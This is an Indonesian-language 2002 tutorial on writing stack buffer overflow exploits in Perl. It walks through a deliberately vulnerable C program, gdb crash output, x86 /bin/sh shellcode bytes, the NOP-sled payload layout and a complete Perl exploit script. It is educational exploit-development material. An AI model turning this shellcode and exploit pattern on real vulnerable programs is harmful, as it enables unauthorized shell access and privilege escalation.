$Id: bosen-doc.1,v1 17/11/2002 bosen Exp $ 1ndonesian Security Team (1st) Bosen Paper #1 Exploitasi dengan perl 17/11/2002 [1st] Menulis exploit dengan perl _______________________________________________________________________________ Menulis Buffer Exploit dengan Perl ======================================= Bosen - 11/15/2002 - life-with-perl.txt Untuk yang ingin mempraktekkan dalam menulis buffer overflow. Berikut cara penulisan exploit dalam perl. [1] Contoh program Vulnerable Sebagai contoh, kita coba membuat program sederhana yang dapat di exploit. strcpy() tidak mengecek length dari $TERM sebelum dia menaruhnya dalam stack, yang mana membuat program dibawah ini bisa terexploit. vuln.c #include int main() { char sibuffer[1024]; if (getenv("TERM") == NULL) { fprintf(stderr, "b00m!\n"); exit(1); } strcpy(sibuffer, (char *)getenv("TERM")); printf("Environment variable TERM is:\n\"%s\".\n\n", sibuffer); printf("Tuink, tuink\n"); return 0; } EOF Lalu kita compile program tsb. # gcc -o vuln vuln.c vuln.c: In function `main': vuln.c:5: warning: comparison between pointer and integer Lalu kita coba mengexploitnya. # export TERM=`perl -e '{print "A"x"1028"}'` # gdb vuln GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) r Starting program: /home/bokep/vuln Environment variable TERM is: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Tuink, tuink Program received signal SIGSEGV, Segmentation fault. 0x40032902 in __libc_start_main (main=Cannot access memory at address 0x41414141 ) at ../sysdeps/generic/libc-start.c:61 61 ../sysdeps/generic/libc-start.c: No such file or directory. (gdb) Uhm, keliatan deh tuh ada buffer overflow meskipun buffer nya tidak terlalu besar. Namun stack pointer telah di overwrite, dan EIP register adalah 0x41414141. (41 == A di hexadecimal) Kita coba lagi. # export TERM=`perl -e '{print "A"x"1032"}'` # gdb vuln GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) r Starting program: /home/bokep/vuln Environment variable TERM is: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Tuink, tuink Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) Nah, sekarang kita sudah meng overwite semua return address. Dan meng hold 4 A's. Yang artinya, kita dapat mengkontrol dimana EIP akan di point, dan kita dapat mengatur EIP tsb. untuk mempoint paylod kode kita. Jika ini berhasil, kode tsb. akan di execute di stack. (Meskipun beberapa system mencegah kode di execute di stack) Kita sudah tahu panjang yang akan kita pergunakan untuk meng overwrite return address. Karena ESP selalu menunjuk top dari stack, kita dapat menggunakan value dari ESP ketika program dia, dan (jika diperlukan) dapat menambahkan sebuah offset. Dengan cara ini kita mendapatkan value dari stack pointer untuk dipergunakan di exploit kita. Mari kita lanjutkan debug nya. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info reg esp esp 0xbffff770 -1073744064 (gdb) [2] shellcode Jika ingin belajar untuk menulis shellcode sendiri, bisa browse Smashing The Stack For Fun And Profit by Aleph One http://phrack.infonexus.com/search.phtml?view&article=p49-14 Jika anda males, kekekeke (dah gitu pake perl pula maka kumplit lah kemalesan anda :P) anda bisa menggunakan tools untuk menggenerate shellcode. Hellkit dan execve-shell adalah contoh dari salah satu program tsb. (bisa didapatkan di: http://teso.scene.at/) # ./shellxp /bin/sh build exploit shellcode -scut / teso. constructing shellcode... [ 39/2048] adding ( 7): /bin/sh shellcode size: 47 bytes /* 47 byte shellcode */ "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07" "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b" "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff" "\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x01"; [3] Design payload Payload akan di simpan di $buffer, dengan data yang akan dipergunakan nanti nya dalam proses pengexploitasian. Panjang nya harus pas untuk bisa overwrite return address yang lama secara komplit. Kita akan menyisipkan code ini ke program target (user-input) untuk mengganti flow nya. Payload biasanya akan spt. berikut: N = NOP (0x90) / S = Shellcode / R = ESP (+ offset). Buffer: [ NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNSSSSSSSRRRRRRRRRRRRRR ] Kenapa strukturnya demikian ? Pertama kita mempunyai banyak NOP (No Operation), lalu shellcode (yang pada contoh ini akan mengexeucte /bin/sh), dan bagian yg terakhir adalah ESP + offset value. Register EIP akan terload dengan isi yang dipoint oleh ESP . Jadi jika ESP mempoint kemana aja di sembarang NOPs, maka akan tidak ada mengerjakan "no operations", dan akan terus tidak melakukan apa2 sampai menemui shellcode, dan mengexecute nya. Jika buffer yang kita coba untuk di overflow terlalu kecil untuk diisikan beberapa NOP, shellcode dan RET, bisa juga menggunakan layout berikut untuk membuat payload. (Kita juga bisa menggunakan NOPS dan shellcode kedalam sebuah shell variabel) (R = Stack Pointer + Offset / S = Shellcode / N = x86 NOP) / ESP + offset / NOP's / Shellcode Payload: [ RRRRRRRRRRRRRRRNNNNNNNNNNNNNNNNNNSSSSSS ] | | ----------> # ---------- (Uhmm ati2, buffer ga bisa ada NULL bytes) [4] Contoh Exploit Setelah kita mendesign payload. Berikut contoh exploit nya. #!/usr/bin/perl $shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89". "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c". "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff". "\xff\xff/bin/sh"; $len = 1024 + 8; # Panjang yang dibutuhkan untuk mendapatkan EIP. $ret = 0xbffff770; # Stack pointer pada saat program crash. # inget kan tadi gdb nya? # Program received signal SIGSEGV, Segmentation fault. # 0x41414141 in ?? () # (gdb) info reg esp # esp 0xbffff770 -1073744064 # (gdb) $nop = "\x90"; # Code machine dari NOP. $offset = -1000; # Default offset untuk dicoba. if (@ARGV == 1) { $offset = $ARGV[0]; } for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) { $buffer .= $nop; } # [ Buffer: NNNNNNNNNNNNNN ] # Mengisi banyak NOP ke buffer. $buffer .= $shellcode; # [ Buffer: NNNNNNNNNNNNNNSSSSS ] # Lalu kita menambahkan shellcode ke buffer. print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n"); # Kita tambahin offset ke stack pointer - ops jangan lupa convert ke # hexadecimal dan print. $new_ret = pack('l', ($ret + $offset)); # pack adalah fungsi untuk mengambil sebuah list dari value2 dan mem-pack # ke dalam struktur binary, dan menghasilkan sebuah string yang # berisi struktur tsb. # Jadi, pack dari stack pointer / ESP + offset (signed long) - (4 bytes) for ($i += length($shellcode); $i < $len; $i += 4) { $buffer .= $new_ret; } # [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ] # Tambakan panjang dari shellcode ke $i, yang setelah loop pertama berisi "855" (bytes), # lalu untuk loop nya tambahkan $new_ret sampai $buffer mempunyai size 1032 bytes. # atau bisa juga di tulis spt. # until (length($buffer) == $len) { # $buffer .= $new_ret; # } local($ENV{'TERM'}) = $buffer; exec("/bin/vuln"); # Copy buffer nya ke shell variable TERM, dan exeute program vuln. [5] Links & Resources Smashing The Stack For Fun And Profit by Aleph One http://phrack.infonexus.com/search.phtml?view&article=p49-14 Writing buffer overflow exploits - a tutorial for beginners. http://mixter.warrior2k.com/exploit.txt / Written by Mixter. TESO Security Group / http://teso.scene.at/ [6] Original document Writing Buffer Overflow Exploits with Perl - anno 2000 - http://teleh0r.cjb.net/ Bosen ====================== Original document can be fount at http://bosen.net/releases/?id=10